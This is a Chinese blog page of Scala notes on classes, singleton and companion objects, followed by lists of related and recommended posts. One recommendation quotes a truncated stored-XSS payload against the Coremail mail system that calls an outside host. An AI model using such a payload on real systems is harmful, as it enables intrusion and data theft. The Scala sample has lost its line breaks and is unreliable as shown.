scala学习笔记——类和对象

时间:2022-09-12 14:12:20

基础语法
关于Scala程序,这是非常要注意以下几点。

区分大小写 - Scala是大小写敏感的,这意味着标识Hello 和 hello在Scala中会有不同的含义。

类名 - 对于所有的类名的第一个字母要大写。

如果需要使用几个单词来构成一个类的名称,每个单词的第一个字母要大写。

示例:class MyFirstScalaClass

方法名称 - 所有的方法名称的第一个字母用小写。

如果若干单词被用于构成方法的名称,则每个单词的第一个字母应大写。

示例:def myMethodName()

程序文件名 - 程序文件的名称应该与对象名称完全匹配。

保存文件时,应该保存它使用的对象名称(记住Scala是区分大小写),并追加“.scala”为文件扩展名。 (如果文件名和对象名称不匹配,程序将无法编译)。

示例: 假设“HelloWorld”是对象的名称。那么该文件应保存为'HelloWorld.scala“

def main(args: Array[String]) - Scala程序从main()方法开始处理,这是每一个Scala程序的强制程序入口部分。

类和对象的一些基础知识

import scala.collection.mutable.Map

class ChecksumAccumulator {
val sum_public = 0 //public 是scala的默认访问级别
private var sum_private = 0 //类私有的 def add(b:Byte): Unit = {
b = 1 //会报错,scala的方法中的参数都是val类型
sum_private += b
} def add_2(b:Byte){sum_private += b} //与方法add等效 def add_3(b:Byte):Unit = sum_private += b //与方法add和add_3等效 /*
* 方法f和g返回的都是Unit类型
* 方法h返回的是String类型
* */
def f(): Unit =" this String gets lost "
def g(){ " this String gets lost too"}
def h() = { " this String gets lost too"} def checksum(): Int = {
/*
此处的return是多余的,如果没有显示的返回语句,scala方法将返回方法中最后一次计算得到的值
*/
return ~(sum_private &0xFF) + 1
} def chechsum_2(): Int = ~(sum_private &0xFF) + 1 //与方法checksum等效
} /*
scala比java更为面向对象的特点之一是scala不能定义静态成员,而是代之以定义单例对象。除了用object关键字替换了class关键字之外,单例对象的定义看上去与类定义一致
单例对象与类名称相同,被称为这个类的伴生对象,类被称为单例对象的伴生类 */
object ChecksumAccumulator{ private val cache = Map[String,Int]() def calmulate(s:String): Int = {
if (cache.contains(s))
cache(s)
else {
val acc = new ChecksumAccumulator // acc是ChecksumAccumulator类的一个实例,不是同名的单例对象
for (c <- s)
acc.add(c.toByte)
val cs = acc.checksum()
cache.+= ((s -> cs))
cs
}
} def main(args: Array[String]) {
val acc = new ChecksumAccumulator
val csa = new ChecksumAccumulator acc.add(100)
println(acc.checksum())
ChecksumAccumulator.calmulate("Every value is an object.") //此处调用的是单例对象,像调用java的静态方法工具类一样调用
println(acc.sum_private)// sum_private是类私有的,不能直接访问,只能类内访问
acc.sum_public=3 // 会报错,sum_public是val常量,不是var变量
}
}

scala学习笔记——类和对象的更多相关文章

  1. 《python基础教程(第二版)》学习笔记 类和对象(第7章)

    <python基础教程(第二版)>学习笔记 类和对象(第7章) 定义类class Person:    def setName(self,name):        self.name=n ...

  2. Scala学习笔记之伴生对象

    所谓伴生对象, 也是一个Scala中的单例对象, 使用object关键字修饰. 除此之外, 还有一个使用class关键字定义的同名类, 这个类和单例对象存在于同一个文件中, 这个类就叫做这个单例对象的 ...

  3. Java学习笔记--类和对象

    1.介绍面向对象的编程          面向对象是现在主流的编程样例,它替代了以前C语言使用时的“结构体”,Java是一门面向对象的语言,所以需要熟悉面向对象的概念.面向对象的程序由很多对象组成,每 ...

  4. Python学习笔记——类和对象

    类和对象 1. 一个例子 # 对象 = 属性 + 方法 # Python 中的类名称约定首字母大写,而 Python 函数名首字母小写 class Turtle: #属性 color = 'green ...

  5. 基于&period;net的分布式系统限流组件 C&num; DataGridView绑定List对象时,利用BindingList来实现增删查改 &period;net中ThreadPool与Task的认识总结 C&num; 排序技术研究与对比 基于&period;net的通用内存缓存模型组件 Scala学习笔记:重要语法特性

    基于.net的分布式系统限流组件   在互联网应用中,流量洪峰是常有的事情.在应对流量洪峰时,通用的处理模式一般有排队.限流,这样可以非常直接有效的保护系统,防止系统被打爆.另外,通过限流技术手段,可 ...

  6. Scala学习笔记及与Java不同之处总结-从Java开发者角度

    Scala与Java具有很多相似之处,但又有很多不同.这里主要从一个Java开发者的角度,总结在使用Scala的过程中所面临的一些思维转变. 这里仅仅是总结了部分两种语言在开发过程中的不同,以后会陆续 ...

  7. Javascript学习6 - 类、对象、继承

    原文:Javascript学习6 - 类.对象.继承 Javasciprt并不像C++一样支持真正的类,也不是用class关键字来定义类.Javascript定义类也是使用function关键字来完成 ...

  8. JavaScript&colon;学习笔记&lpar;9&rpar;——Promise对象

    JavaScript:学习笔记(9)——Promise对象 引入Promise Primose是异步编程的一种解决方案,比传统的解决方案回调函数和事件更加合理和强大.如下面为基于回调函数的Ajax操作 ...

  9. JavaScript&colon;学习笔记&lpar;10&rpar;——XMLHttpRequest对象

    JavaScript:学习笔记(10)——XMLHttpRequest对象 XHR对象 使用XMLHttpRequest (XHR)对象可以与服务器交互.您可以从URL获取数据,而无需让整个的页面刷新 ...

随机推荐

  1. &period;net session&lowbar;end

    在做asp.net编程开发的时候,我遇见这样的问题,一个用户只能在一台机器上登录, 如果有用户在其他机器上登录,系统将提示该用户已经登录!当前登陆非法!我的做法是: 用Application变量保存已 ...

  2. Coremail邮件系统存储型XSS两个

    (1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...

  3. sql里将重复行数据合并为一行,数据用逗号分隔

    一.定义表变量 DECLARE @T1 table ( UserID int , UserName ), CityName ) ); ,'a','上海') ,'b','北京') ,'c','上海') ...

  4. 关于sharepoint 2010无法显示用户中文名的解决方法和详细剖析

    相信这个问题许多做sharepoint的朋友都曾经遇到过,就是本来很正常的中文用户名莫名其妙的变成了“域名\账号”,我本人也遇到过好多次,每次都是百度谷歌一下草草解决问题,始终也没真正去弄明白是怎么回 ...

  5. UVA 11426 GCD - Extreme &lpar;II&rpar; 欧拉函数

    分析:枚举每个数的贡献,欧拉函数筛法 #include <cstdio> #include <iostream> #include <ctime> #include ...

  6. 重要常用的Lunix命令

    lunix 命令大全:  http://man.linuxde.net/ 复制文件/文件夹 复制到本地 文件夹:scp -r work@www.abc.com:/home/work/project / ...

  7. Nginx缓存解决方案:SRCache

    前些天帮别人优化PHP程序,搞得灰头土脸,最后黔驴技穷开启了FastCGI Cache,算是勉强应付过去了吧.不过FastCGI Cache不支持分布式缓存,当服务器很多的时候,冗余的浪费将非常严重, ...

  8. 分离JavaScript

    分离JavaScript类似于使用style属性,在HTML文档里使用诸如onclick之类的属性也是一种既没有效率又容易引发问题的做法.如果我们用一个"挂钩",就像CSS机制中的 ...

  9. 开源中文分词工具探析(五):FNLP

    FNLP是由Fudan NLP实验室的邱锡鹏老师开源的一套Java写就的中文NLP工具包,提供诸如分词.词性标注.文本分类.依存句法分析等功能. [开源中文分词工具探析]系列: 中文分词工具探析(一) ...

  10. linux 下安装vscode

    下载安装包 https://code.visualstudio.com/docs/?dv=linux64_deb (注意是deb包) sudo dpkg -i code_1.18.1-15108573 ...